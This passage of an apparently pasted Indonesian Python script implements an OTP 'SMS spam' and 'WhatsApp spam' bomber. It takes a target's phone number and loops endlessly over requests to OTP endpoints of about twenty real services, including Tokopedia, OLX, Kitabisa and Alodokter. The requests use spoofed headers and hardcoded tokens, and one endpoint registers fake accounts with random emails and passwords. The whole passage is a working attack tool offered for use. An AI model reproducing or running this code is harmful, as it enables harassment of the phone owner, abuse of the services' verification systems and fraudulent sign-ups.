  1998.     cetak(panel(f'''   [bold white]Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SPAM SMS [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  1999.     nomor = input(f"└── [+] Input No Hp : +62").replace("+62","")
  2000.     if nomor == "":
  2001.         pass
  2002.     else:
  2003.         while True:
  2004.             for _ in track(range(100), description=f'└── [+] Sedang Spam...'):process_data1()
  2005.             sxp_sms()
  2006.  
  2007. class sxp_sms:
  2008.  
  2009.     def __init__(self):
  2010.         self.req = requests.Session()
  2011.         self.main()
  2012.  
  2013.     def sms_otp_1(self, no):
  2014.         __req__ = self.req.post("https://service.mokapos.com/account/v1/verification/phone/send",
  2015.             headers = {
  2016.                   "accept": "application/json, text/plain, */*",
  2017.                   "authorization": "undefined",
  2018.                   "save-data": "on",
  2019.                   "user-agent": agent,
  2020.                   "content-type": "application/json;charset=UTF-8"
  2021.                 },
  2022.             json = {
  2023.                  "phone_number": f"+62{no}"
  2024.               }
  2025.         ).text
  2026.  
  2027.     def sms_otp_2(self, no):
  2028.         data = json.dumps({
  2029.                     "mobile": f"0{no}",
  2030.                     "noise": "1583590641573155574",
  2031.                     "request_time": "158359064157312",
  2032.                     "access_token": "11111"
  2033.                    })
  2034.         __req__ = self.req.post("https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code",
  2035.             headers = {
  2036.                     "accept": "text/html, application/xhtml+xml, application/json, */*",
  2037.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  2038.                     "content-length": "166",
  2039.                     "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  2040.                     "origin": "https://h5.rupiahcepatweb.com",
  2041.                     "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723",
  2042.                     "sec-fetch-dest": "empty",
  2043.                     "sec-fetch-mode": "cors",
  2044.                     "sec-fetch-site": "same-site",
  2045.                     "user-agent": agent
  2046.                   },
  2047.             data = {
  2048.                  "data": data
  2049.                }
  2050.         ).text
  2051.  
  2052.     def sms_otp_3(self, no):
  2053.         __req__ = self.req.post("https://www.olx.co.id/api/auth/authenticate",
  2054.             headers = {
  2055.                     "accept": "*/*",
  2056.                     "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=",
  2057.                     "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063",
  2058.                     "user-agent": agent,
  2059.                     "content-type": "application/json"
  2060.                   },
  2061.             json = {
  2062.                  "grantType": "retry",
  2063.                  "method": "sms",
  2064.                  "phone": no,
  2065.                  "language": "id"
  2066.                 }
  2067.         ).text
  2068.  
  2069.     def sms_otp_4(self, no):
  2070.         __req__ = self.req.post("https://www.alodokter.com/login-with-phone-number",
  2071.             headers = {
  2072.                     "user-agent": agent,
  2073.                     "content-type": "application/json",
  2074.                     "referer": "https://www.alodokter.com/login-alodokter",
  2075.                     "accept": "application/json",
  2076.                     "origin": "https://www.alodokter.com"
  2077.                   },
  2078.             json = {
  2079.                  "user":{
  2080.                       "phone": f"0{no}"
  2081.                     }
  2082.                 }
  2083.         ).text
  2084.  
  2085.     def sms_otp_5(self, no):
  2086.         __req__ = self.req.post("https://www.kelaspintar.id/user/otpverification",
  2087.             headers = {
  2088.                     "x-requested-with": "XMLHttpRequest",
  2089.                     "user-agent": agent,
  2090.                     "Referer": "https://www.kelaspintar.id/"
  2091.                   },
  2092.             data = {
  2093.                  "user_mobile": no,
  2094.                  "otp_type": "send_otp_reg",
  2095.                  "mobile_code": "%2B62"
  2096.                 }
  2097.         ).text
  2098.  
  2099.     def sms_otp_6(self, no):
  2100.         aink_sanz = random.choice(
  2101.                         [
  2102.                             "Hallo Mantan",
  2103.                             "Hallo Bangsad",
  2104.                             "Hallo Sayang",
  2105.                             "Hallo Ripper",
  2106.                             "Hallo Ngab"
  2107.                         ]
  2108.                     )
  2109.         email = random.choice(
  2110.                     [
  2111.                         "nsnsmsmksksmsm@gmail.com",
  2112.                         "lavon.lockman@gmail.com",
  2113.                         "duane_mclaughlin38@gmail.com",
  2114.                         "alfreda.lindgren@gmail.com",
  2115.                         "leonardo_kuhlman@gmail.com",
  2116.                         "lyric51@gmail.com",
  2117.                         "devonte_littel@gmail.com",
  2118.                         "newell.kuhic@gmail.com"
  2119.                     ]
  2120.                 )
  2121.         pw = random.choice(
  2122.                     [
  2123.                         "mamsmms123",
  2124.                         "Wadepak1037",
  2125.                         "waifugw1011"
  2126.                     ]
  2127.                 )
  2128.         birth_date = random.choice(
  2129.                         [
  2130.                             "13/09/1999",
  2131.                             "04/02/2022",
  2132.                             "05/02/2022",
  2133.                             "05/02/2022",
  2134.                             "06/02/2022",
  2135.                             "10/02/2022"
  2136.                         ]
  2137.     )
  2138.         __req__ = self.req.post("https://www.matahari.com/rest/V1/thorCustomers",
  2139.             json = {
  2140.                 "thor_customer":{
  2141.                         "name": aink_sanz,
  2142.                         "card_number": None,
  2143.                         "email_address": email,
  2144.                         "mobile_country_code": "+62",
  2145.                         "gender_id": "1",
  2146.                         "mobile_number": f"0{no}",
  2147.                         "mro": "",
  2148.                         "password": pw,
  2149.                         "birth_date": birth_date
  2150.                         }
  2151.                 },
  2152.             headers = {
  2153.                     "Host": "www.matahari.com",
  2154.                     "x-newrelic-id": "Vg4GVFVXDxAGVVlVBgcGVlY=",
  2155.                     "origin": "https://www.matahari.com",
  2156.                     "user-agent": agent,
  2157.                     "content-type": "application/json",
  2158.                     "accept": "*/*",
  2159.                     "x-requested-with": "XMLHttpRequest",
  2160.                     "referer": "https://www.matahari.com/customer/account/create/",
  2161.                     "accept-encoding": "gzip, deflate, br",
  2162.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2163.                 }
  2164.  
  2165.         ).text
  2166.  
  2167.     def sms_otp_7(self, no):
  2168.         __req__ = self.req.post("https://api.duniagames.co.id/api/user/api/v2/user/send-otp",
  2169.             headers = {
  2170.                     "Host": "api.duniagames.co.id",
  2171.                     "content-length": "32",
  2172.                     "accept": "application/json, text/plain, */*",
  2173.                     "x-device": "cc45ed83-73bd-4a98-83e3-874e8bc11a7f",
  2174.                     "accept-language": "id",
  2175.                     "user-agent": agent,
  2176.                     "ciam-type": "FR",
  2177.                     "content-type": "application/json",
  2178.                     "origin": "https://duniagames.co.id",
  2179.                     "sec-fetch-site": "same-site",
  2180.                     "sec-fetch-mode": "cors",
  2181.                     "sec-fetch-dest": "empty",
  2182.                     "referer": "https://duniagames.co.id/",
  2183.                     "accept-encoding": "gzip, deflate, br"
  2184.                   },
  2185.             json = {
  2186.                  "phoneNumber": f"+62{no}"
  2187.                 }
  2188.         ).text
  2189.  
  2190.     def sms_otp_8(self, no):
  2191.         __req__ = self.req.post("https://harvestcakes.com/register",
  2192.             headers = {
  2193.                     "user-agent": agent,
  2194.                     "Referer": "https://harvestcakes.com/register"
  2195.                   },
  2196.             data = {
  2197.                  "phone": f"0{no}",
  2198.                  "url": ""
  2199.                 }
  2200.         ).text
  2201.  
  2202.     def sms_otp_9(self, no):
  2203.         __req__ = self.req.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",
  2204.             headers = {
  2205.                     "Host": "identity-gateway.oyorooms.com",
  2206.                     "consumer_host": "https://www.oyorooms.com",
  2207.                     "accept-language": "id",
  2208.                     "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=",
  2209.                     "user-agent": agent,
  2210.                     "Content-Type": "application/json",
  2211.                     "accept": "*/*",
  2212.                     "origin": "https://www.oyorooms.com",
  2213.                     "referer": "https://www.oyorooms.com/login",
  2214.                     "Accept-Encoding": "gzip, deflate, br"
  2215.                   },
  2216.             json = {
  2217.                  "phone": f"0{no}",
  2218.                  "country_code": "+62",
  2219.                  "country_iso_code": "ID",
  2220.                  "nod": "4",
  2221.                  "send_otp": "true",
  2222.                  "devise_role": "Consumer_Guest"
  2223.                 }
  2224.         ).text
  2225.  
  2226.     def sms_otp_10(self, no):
  2227.         __req__ = self.req.post("https://crp-app.stamps.co.id/api/auth/validate-mobile-number",
  2228.             json = {
  2229.                 "mobile_number": f"0{no}",
  2230.                 "token": "sI01tF5bOSYHabS7HaXiB1k3j0JxFxbcQ79Rd1HFBjKEKJqYAwSNMScsx9AEZq3O"
  2231.                 },
  2232.             headers = {
  2233.                     "Host": "crp-app.stamps.co.id",
  2234.                     "content-type": "application/json; charset=utf-8",
  2235.                     "content-length": "106",
  2236.                     "accept-encoding": "gzip",
  2237.                     "User-Agent": agent
  2238.             }
  2239.         ).text
  2240.  
  2241.     def sms_otp_11(self, no):
  2242.         __req__ = self.req.post("https://app-api.kredito.id/client/v1/common/verify-code/send",
  2243.             headers = {
  2244.                     "LPR-TIMESTAMP": "1603281035821",
  2245.                     "Accept-Language": "id-ID",
  2246.                     "LPR-BRAND": "Kredito",
  2247.                     "LPR-PLATFORM": "android",
  2248.                     "user-agent": agent,
  2249.                     "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOi0xNjAzMjgxMDE3MjAzLCJ1dHlwZSI6ImFub24iLCJleHAiOjE2MDMyODQ2MTd9._HUnW7FQmMiDWvSejS0MBqMq95l2rk_6PuxDeXY5Oks",
  2250.                     "LPR-SIGNATURE": "e15dbea8602409df32a2ed5a123dc244",
  2251.                     "Content-Type": "application/json; charset=UTF-8",
  2252.                     "Content-Length": "79"
  2253.                    },
  2254.             data = '{"event":"default_verification","mobilePhone":"%s","sender":"jatissms"}' % no
  2255.         ).text
  2256.  
  2257.     def sms_otp_12(self, no):
  2258.         __req__ = self.req.post("https://www.autofun.co.id:443/v2/captcha/sms",
  2259.             headers = {
  2260.                     "Host": "www.autofun.co.id",
  2261.                     "Connection": "keep-alive",
  2262.                     "Content-length": "84",
  2263.                     "accept": "*/*",
  2264.                     "user-agent": agent,
  2265.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  2266.                     "content-type": "application/json;charset=UTF-8",
  2267.                     "Origin": "https://www.autofun.co.id",
  2268.                     "X-Requested-With": "acr.browser.barebones",
  2269.                     "Sec-Fetch-Site": "same-origin",
  2270.                     "Sec-Fetch-Mode": "cors",
  2271.                     "Sec-Fetch-Dest": "empty",
  2272.                     "Referer": "https://www.autofun.co.id/mobil/datsun",
  2273.                     "Accept-Encoding": "gzip, deflate"
  2274.                 },
  2275.             json = {
  2276.                     "phoneNum": f"62{no}",
  2277.                     "languageCode": "id-id",
  2278.                     "countryCode": "id",
  2279.                     "platform": 2
  2280.             }
  2281.         ).text
  2282.  
  2283.     def sms_otp_13(self, no):
  2284.         __req__ = self.req.post("https://api.myfave.com/api/fave/v3/auth",
  2285.             json = {
  2286.                     "phone":"+62"+no
  2287.                 },
  2288.             headers = {
  2289.                     "Host": "api.myfave.com",
  2290.                     "Connection": "keep-alive",
  2291.                     "x-user-agent": "Fave-PWA/v1.0.0",
  2292.                     "Origin": "https://m.myfave.com",
  2293.                     "user-agent": agent,
  2294.                     "content-type": "application/json",
  2295.                     "Accept": "*/*",
  2296.                     "Referer": "https://m.myfave.com/jakarta/auth",
  2297.                     "Accept-Encoding": "gzip, deflate, br",
  2298.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2299.             }
  2300.         ).text
  2301.  
  2302.     def sms_otp_14(self, no):
  2303.         nickname = random.choice(
  2304.                       [
  2305.                         "fahmi",
  2306.                         "xzc0der",
  2307.                         "bed3bah",
  2308.                         "xmanz"
  2309.                       ]
  2310.                     )
  2311.         angka = random.randint(
  2312.                     111,
  2313.                     999
  2314.                       )
  2315.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  2316.             headers = {
  2317.                     "Host": "wong.kitabisa.com",
  2318.                     "x-ktbs-platform-name": "pwa",
  2319.                     "origin": "https://account.kitabisa.com",
  2320.                     "x-ktbs-time": "1611020248",
  2321.                     "user-agent": agent,
  2322.                     "x-ktbs-api-version": "1.0.0",
  2323.                     "accept": "application/json",
  2324.                     "x-ktbs-client-name": "kanvas",
  2325.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  2326.                     "x-ktbs-client-version": "1.0.0",
  2327.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  2328.                     "version": "3.4.0",
  2329.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  2330.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2331.                   },
  2332.             json = {
  2333.                  "full_name": nickname+str(angka),
  2334.                  "username": f"62{no}",
  2335.                  "otp_type": "sms"
  2336.                 }
  2337.         ).text
  2338.  
  2339.     def main(self):
  2340.         self.sms_otp_1(nomor)
  2341.         self.sms_otp_2(nomor)
  2342.         self.sms_otp_3(nomor)
  2343.         self.sms_otp_4(nomor)
  2344.         self.sms_otp_5(nomor)
  2345.         self.sms_otp_6(nomor)
  2346.         self.sms_otp_7(nomor)
  2347.         self.sms_otp_8(nomor)
  2348.         self.sms_otp_9(nomor)
  2349.         self.sms_otp_10(nomor)
  2350.         self.sms_otp_11(nomor)
  2351.         self.sms_otp_12(nomor)
  2352.         self.sms_otp_13(nomor)
  2353.         self.sms_otp_14(nomor)
  2354.         cetak(panel(f"Sukses Spam SMS Ke No : +62{nomor}",width=90,padding=(0,2),style=f"{color_panel}"))
  2355.  
  2356. #------------------[ DEFF SPAM WA ]-------------------#
  2357. def spam_wa():
  2358.     global nomor
  2359.     cetak(panel(f'''   [bold white]Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SPAM WA [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  2360.     nomor = input(f"└── [+] Input No Hp : +62").replace("+62","")
  2361.     if nomor == "":
  2362.         pass
  2363.     else:
  2364.         while True:
  2365.             for _ in track(range(100), description=f'└── [+] Sedang Spam...'):process_data1()
  2366.             sxp_wa()
  2367.            
  2368. class sxp_wa:
  2369.  
  2370.     def __init__(self):
  2371.         self.req = requests.Session()
  2372.         self.main()
  2373.  
  2374.     def wa_otp_1(self, no):
  2375.         nickname = random.choice(
  2376.                       [
  2377.                         "fahmi",
  2378.                         "xzc0der",
  2379.                         "bed3bah",
  2380.                         "xmanz"
  2381.                       ]
  2382.                      )
  2383.         angka = random.randint(
  2384.                     111,
  2385.                     999
  2386.                        )
  2387.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  2388.             headers = {
  2389.                     "Host": "wong.kitabisa.com",
  2390.                     "x-ktbs-platform-name": "pwa",
  2391.                     "origin": "https://account.kitabisa.com",
  2392.                     "x-ktbs-time": "1611020248",
  2393.                     "user-agent": agent,
  2394.                     "x-ktbs-api-version": "1.0.0",
  2395.                     "accept": "application/json",
  2396.                     "x-ktbs-client-name": "kanvas",
  2397.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  2398.                     "x-ktbs-client-version": "1.0.0",
  2399.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  2400.                     "version": "3.4.0",
  2401.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  2402.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2403.                    },
  2404.             json = {
  2405.                  "full_name": nickname+str(angka),
  2406.                  "username": f"0{no}",
  2407.                  "otp_type": "whatsapp"
  2408.                 }
  2409.         ).text
  2410.  
  2411.     def wa_otp_2(self, no):
  2412.         __req__ = self.req.get(
  2413.             f"https://m.redbus.id/api/getOtp?number={no}&cc=62&whatsAppOpted=true"
  2414.         ).text
  2415.  
  2416.     def wa_otp_3(self, no):
  2417.         __req__ = self.req.post("https://api.bukuwarung.com/api/v1/auth/otp/send",
  2418.             headers = {
  2419.                     "Accept": "application/json",
  2420.                     "X-APP-VERSION-NAME": "3.4.0",
  2421.                     "X-APP-VERSION-CODE": "3399",
  2422.                     "Content-Type": "application/json; charset=UTF-8",
  2423.                     "Host": "api.bukuwarung.com",
  2424.                     "Connection": "Keep-Alive",
  2425.                     "Accept-Encoding": "gzip",
  2426.                     "User-Agent": agent
  2427.                    },
  2428.             json = {
  2429.                  "action": "LOGIN_OTP",
  2430.                  "countryCode": "62",
  2431.                  "deviceId": "00000177-142d-f1a2-bac4-57a9039fdc4d",
  2432.                  "method": "WA",
  2433.                  "phone": no
  2434.                 }
  2435.         ).text
  2436.  
  2437.     def wa_otp_4(self, no):
  2438.         __req__ = self.req.post("https://evermos.com/api/client/request-code",
  2439.             headers = {
  2440.                     "user-agent": agent
  2441.                   },
  2442.             data = {
  2443.                  "telephone": f"62{no}",
  2444.                  "type": 0
  2445.                 }
  2446.         ).text
  2447.  
  2448.     def wa_otp_5(self, no):
  2449.         __req__ = self.req.post("https://wapi.ruparupa.com/auth/generate-otp",
  2450.             headers = {
  2451.                     "Host": "wapi.ruparupa.com",
  2452.                     "Connection": "keep-alive",
  2453.                     "Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiOGZlY2VjZmYtZTQ1Zi00MTVmLWI2M2UtMmJiMzUyZmQ2NzhkIiwiaWF0IjoxNTkzMDIyNDkyLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.fETKXQ0KyZdksWWsjkRpjiKLrJtZWmtogKyePycoF0E",
  2454.                     "Accept": "application/json",
  2455.                     "Content-Type": "application/json",
  2456.                     "X-Company-Name": "odi",
  2457.                     "user-agent": agent,
  2458.                     "user-platform": "mobile",
  2459.                     "X-Frontend-Type": "mobile",
  2460.                     "Origin": "https://m.ruparupa.com",
  2461.                     "Referer": "https://m.ruparupa.com/verification?page=otp-choices",
  2462.                     "Accept-Encoding": "gzip, deflate, br",
  2463.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2464.                    },
  2465.             json = {
  2466.                  "phone": f"0{no}",
  2467.                  "action": "register",
  2468.                  "channel": "chat",
  2469.                  "email": "",
  2470.                  "customer_id": "0",
  2471.                  "is_resend": 0
  2472.                 }
  2473.         ).text
  2474.  
  2475.     def wa_otp_6(self, no):
  2476.         headers = {
  2477.                 "Connection": "keep-alive",
  2478.                 "Accept": "application/json, text/javascript, */*; q=0.01",
  2479.                 "Origin": "https://accounts.tokopedia.com",
  2480.                 "X-Requested-With": "XMLHttpRequest",
  2481.                 "user-agent": agent,
  2482.                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  2483.                 "Accept-Encoding": "gzip, deflate",
  2484.                }
  2485.         site = self.req.get("https://accounts.tokopedia.com/otp/c/page?otp_type=116&msisdn="+ no +"&ld=https%3A%2F%2Faccounts.tokopedia.com%2Fregister%3Ftype%3Dphone%26phone%3D{}%26status%3DeyJrIjp0cnVlLCJtIjp0cnVlLCJzIjpmYWxzZSwiYm90IjpmYWxzZSwiZ2MiOmZhbHNlfQ%253D%253D", headers = headers).text
  2486.         search = re.search(r'\<input\ id\=\"Token\"\ value\=\"(.*?)\"\ type\=\"hidden\"\>', site).group(1)
  2487.         data = {
  2488.              "otp_type": "116",
  2489.              "msisdn": no,
  2490.              "tk": search,
  2491.              "email": "",
  2492.              "original_param": "",
  2493.              "user_id": "",
  2494.              "signature": "",
  2495.              "number_otp_digit": "6",
  2496.             }
  2497.         __req__ = self.req.post(
  2498.                 "https://accounts.tokopedia.com/otp/c/ajax/request-wa", headers = headers, data = data
  2499.        ).text
  2500.  
  2501.     def main(self):
  2502.         self.wa_otp_1(nomor)
  2503.         self.wa_otp_2(nomor)
  2504.         self.wa_otp_3(nomor)
  2505.         self.wa_otp_4(nomor)
  2506.         self.wa_otp_5(nomor)
  2507.         self.wa_otp_6(nomor)
  2508.         cetak(panel(f"[bold white]Sukses Spam WA Ke No : +62{nomor}",width=90,padding=(0,2),style=f"{color_panel}"))
  2509.                        
  2510. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  2511. if __name__=='__main__':
  2512.     try:os.system('git pull')
  2513.     except:pass
  2514.     try:os.mkdir('OK')
  2515.     except:pass
  2516.     try:os.mkdir('CP')
  2517.     except:pass
  2518.     try:os.mkdir('DUMP-FILE')
  2519.     except:pass
  2520.     try:os.system('touch .prox.txt')
  2521.     except:pass
  2522.     try:os.system('clear')
  2523.     except:pass
  2524.     login()
Add Comment
Please, Sign In to add comment